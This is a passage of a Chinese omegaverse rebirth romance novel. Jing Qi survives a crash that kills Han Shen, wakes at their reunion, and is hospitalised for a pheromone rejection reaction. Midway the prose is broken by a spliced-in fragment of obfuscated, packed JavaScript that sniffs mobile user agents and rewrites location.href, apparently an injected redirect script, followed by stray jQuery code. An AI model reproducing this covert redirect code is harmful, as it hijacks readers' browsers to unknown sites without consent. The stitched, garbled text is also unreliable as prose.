一声巨响划破夜色。
尖叫声、鸣笛声此起彼伏。
景栖费力地睁开眼，只看见一片猩红。他机械地转头，主驾驶的空间几乎被压缩成二维。韩深下半身是怎样血腥的场景景栖根本不敢想。
韩深上半身面向他，平日里冷峻的眉眼不知为何在此刻竟有几分静谧。他闭着眼，像是睡着了。
“......”景栖张了张嘴，却发不出任何声音。
温热的东西在脸上流，不知道是泪还是别的什么。
景栖费劲地抬起手，想要摸摸他的脸。
“韩——”
“快，担架！”轻微变形的车门被拉开。
医护担忧地看过来，“现在安全了，尽量不要动，我们正在处理。”
景栖被人从副驾驶救了出来。
他的目光死死盯着已经完全变形的主驾驶。
韩深。
韩深。
韩深。
“主驾驶主动调整撞击角度，承受所有撞击，已无生命体征。”
明明周遭那样嘈杂，被血糊住的视线是那样模糊。但景栖还是听到了这句话。
韩深死了吗？
越过杂乱的人群，几米之外，他看见有人将白布盖在韩深身上。
医护抬起担架，韩深离自己越来越远。
韩深死了吗？
只有触目惊心的血洼在回答他。
景栖闭上眼睛，发出一声难听的悲鸣，混着黏腻的水声，听得人心里发酸。
鲜血一股一股从喉腔涌出，景栖哭着想，如果韩深死了，那他也不想活了。
*
景栖猛地坐起来，像溺水的人再次获得空气那样，双手攥着胸口大口大口呼吸。
等等，他不是死了吗？
景栖有点没搞清楚状况。
他向四周看去，房间里没开灯，窗外写字楼的灯火照进来。勉强能看清屋内的景象。
封存已久的记忆随着熟悉的场景慢慢浮现。
景栖慢慢睁大眼睛，这是他高中毕业之后，再见韩深的地方！
如此真实的一切都在告诉他，他竟然回到了和韩深重逢那天！
就在此时，房间门被人打开。
来人身型挺拔，逆着光看不清楚脸。
随着那人走进，淡淡的硝烟味在房间内铺开。
这是韩深信息素的味道！
他一步步走近，强势的信息素带着无形的威压。
s级alpha是天生的上位者，没有人会不害怕不臣服。
上辈子的景栖也不例外。
那时他以为是韩深给自己下的药，又怂又恼，上来就给了韩深一巴掌。
实在算不得什么美好的重逢。
韩深在景栖身边停下，居高临下看过来。
冷漠的眉眼逐渐和上辈子倒在血泊中的那张脸重合。
“主驾驶主动调整撞击角度，承受所有撞击，已无生命体征。”
韩深是为了救他才死的。
医护锥心的话在脑海中响起。
景栖再也忍不住，蹭地站起来，一头撞进韩深怀里。
他勾住韩深脖子，恨不得让自己嵌进韩深身体。
就这样半跪在床边，窝在韩深的侧颈，呜呜哭起来。
“韩....韩深，对不起...呜呜呜...对不起。”
一开始还是小声的呜咽，但是感受着韩深温暖的体温，景栖哭得越发伤心。
还好韩深没死。
还好他有再来一次的机会。
失而复得的喜悦砸中景栖，无法出口表达的万千思绪，全都化作流不完的泪。
景栖哭得正伤心，突然感受到侧腰被一只大手抚上，是韩深回抱住他。
他刚经历过死亡，正是脆弱的时候，被韩深温柔的动作刺激到，哭得更大声了。
半晌，耳边传来一声轻叹。
景栖还在抽泣，他不想放开韩深，就着这个姿势侧头看去。
韩深还是那副扑克脸，意识到景栖在看自己，眉头不自觉皱起来。
但他的肢体动作又和表情完全相反。
他单手穿过景栖腿窝，把景栖抱起来放在床上。
韩深并没有拉开景栖，由着他抱住自己，只是别扭地伸手，胡乱扯了几张床头的云柔纸。
“我还什么都没做，你哭什么？”
这是韩深第二次帮景栖擦眼泪，动作还是那样不熟练。
景栖皮肤薄，高中那次韩深用的面巾纸，结果把景栖的眼睛越擦越红。
还好这次用的云柔纸，倒是勉勉强强把泪都沾干了。
房间里很安静，外面的光打在景栖脸上，刚哭过的桃花眼显得很可怜。
看着韩深紧锁的眉头，景栖有点委屈。
或许是上辈子的经历让景栖在面对韩深时多了些底气，他抚上韩深眉头，声音小小地，“能不能别对我皱眉？”
韩深一愣，下意识松了眉，转而又皱起来。
“你——”
话到嘴边，韩深猛地噤声。
景栖搭在他后颈处的手不知是有意还是无意，轻轻擦过韩深的腺体。
以腺体为中心，一股电流瞬间流向四肢百骸。
高浓度的信息素在房间里炸开，呛得人呼吸不上来。
韩深蜷起手指，爽得用手撑了下床沿才勉强稳住身型。
反应过来后，他丝毫没有收敛自己肆虐的信息素，任由他们侵占omega的神经。
韩深捏住景栖下巴，侵占的眼神扫过景栖每一寸肌肤，“你在碰哪里？”
可是景栖的表情突然变得很难看，他难受地闭上眼，他推了推韩深，没推动，于是急匆匆捂住嘴，闷闷说，“韩深我想吐。”
天地开始旋转扭曲，景栖扶住韩深的肩，什么都顾不上了，三下五除二把胃里的东西吐了个干净。
晕过去的前一秒，他看见韩深太阳穴的青筋突突直跳。
景栖安详地闭上眼。
他忘了，这个时候他的信息素排异反应还没好呢。
第一次勾引人，就被对方的信息素熏晕了，还吐了对方一身。
好丢人。
韩深不会杀了他吧。
*
“信息素排异反应。”韩深扫过检测报告，咬牙切齿念了一遍上面的字。
主治医生擦了擦额角不存在的汗，犹豫着提醒，“韩、韩先生，您的信息素...”
韩深抬头看了他一眼。
医生吓得腿一软，幸亏两人都是坐着，才不至于出洋相。
alpha医生卑微提议，“那我贴阻断贴？”
下一瞬，房间里的信息素浓度骤然降低。
除开韩深，屋子里另外两人都悄悄松了口气。
韩深捏住山根，扑克脸上没什么表情，但谁都能看出他现在心情不佳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274454|198169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>没人敢在这时候去触s级的霉头。
“这个病是天生的还是后天的？”韩深问。
医生把电脑显示屏扳到韩深也能看见的角度，“是后天形成的。”
“由于您的伴侣、”医生瞥了眼韩深的脸色，继续说，“您的伴侣长期和没有血缘关系的alpha生活在一起...”
wtf？说到这里，医生舌头打了个结，很识趣地换了个称呼，“那位alpha患有信息素不耐受，加之景先生的身体素质本来就不算好。长此以往，在激素的影响下，景先生就患上了信息素排异反应。”
“所以他对所有alpha的信息素都有排异反应？”
“理论上是这样，并且信息素等级越高，景先生的排异反应就越强。”医生想了想，还是说，“但是有一个意外，诱发景先生这一病症的alpha。景先生不会对他的信息素产生排异反应。”
‘此啦——’
韩深手里的报告书被撕开了一个角。
屋子里的氛围再度降到冰点。
良久，韩深低哑的声音才再响起，“要怎么治？”
“定期来医院注射药物，治疗周期保守估计也要一年，想要景先生在短期内接受您的信息素是不太可能的。”医生咽了口口水，顶着压力说，“不过如果景先生心理上想接近您，您和他多接触，缩短脱敏时间很可观。”
出了房间，秘书很识趣地站得离韩深比平时还远。
“去查个人。”韩深说了个名字。
“好的。”
过了会，韩深又问，“他醒了吗？”
景栖第二天才醒。
他被人下了强力药，导致发|情期提前，又承受了那么高阶的信息素，一直到半夜才停止发热。
镇静剂也没有让景栖休息得太好。
他做了一夜的梦，准确来说也不是做梦。上辈子的事像走马灯一样在脑子里反复播放，碾压他脆弱的神经。
枕头被眼泪打湿，一觉醒来，景栖眼睛肿成了核桃，浑身像被人打了一样疼。
适应了会光线，景栖迷迷糊糊睁开眼，看见床边站着的小护士。
“你醒啦，感觉还好吗？”小护士是个beta，专门负责这个病房，“你这瓶点滴打完了，还有两瓶昂。”
“还好，”景栖的目光从吊瓶移到病房门口，“昨晚送我来的人还在吗？”
小护士利索地换完药水，眼睛一转，“噢，那个s级alpha吗？他已经回去了。”
景栖收回目光，其实心里已经有答案了，但听到韩深真的回去了，还是会忍不住有点小失落。
不过也是，韩深怎么可能守着他啊。
看他垂头丧气，小护士安慰了句，“你现在对alpha的信息素非常敏感，就算他来了你们也不能见面。”
“这样啊，”景栖点点头，也清楚自己的信息素排异反应很棘手，“请问我多久可以出院？”
护士想了想，“至少要三四天吧。”
护士换完药便离开了，病房里只剩下景栖。
他尝试下床，扶着墙慢慢挪到窗边。
正是春天，屋外的白玉兰开得很漂亮。
只是窗户打不开，没办法闻到花香。
景栖靠着窗，安静看着医院门口来来往往的人群。
徒然间，他瞥见某辆熟悉的法拉利开进医院。
轻轻眨眨眼，再看时韩深已经从车上下来了。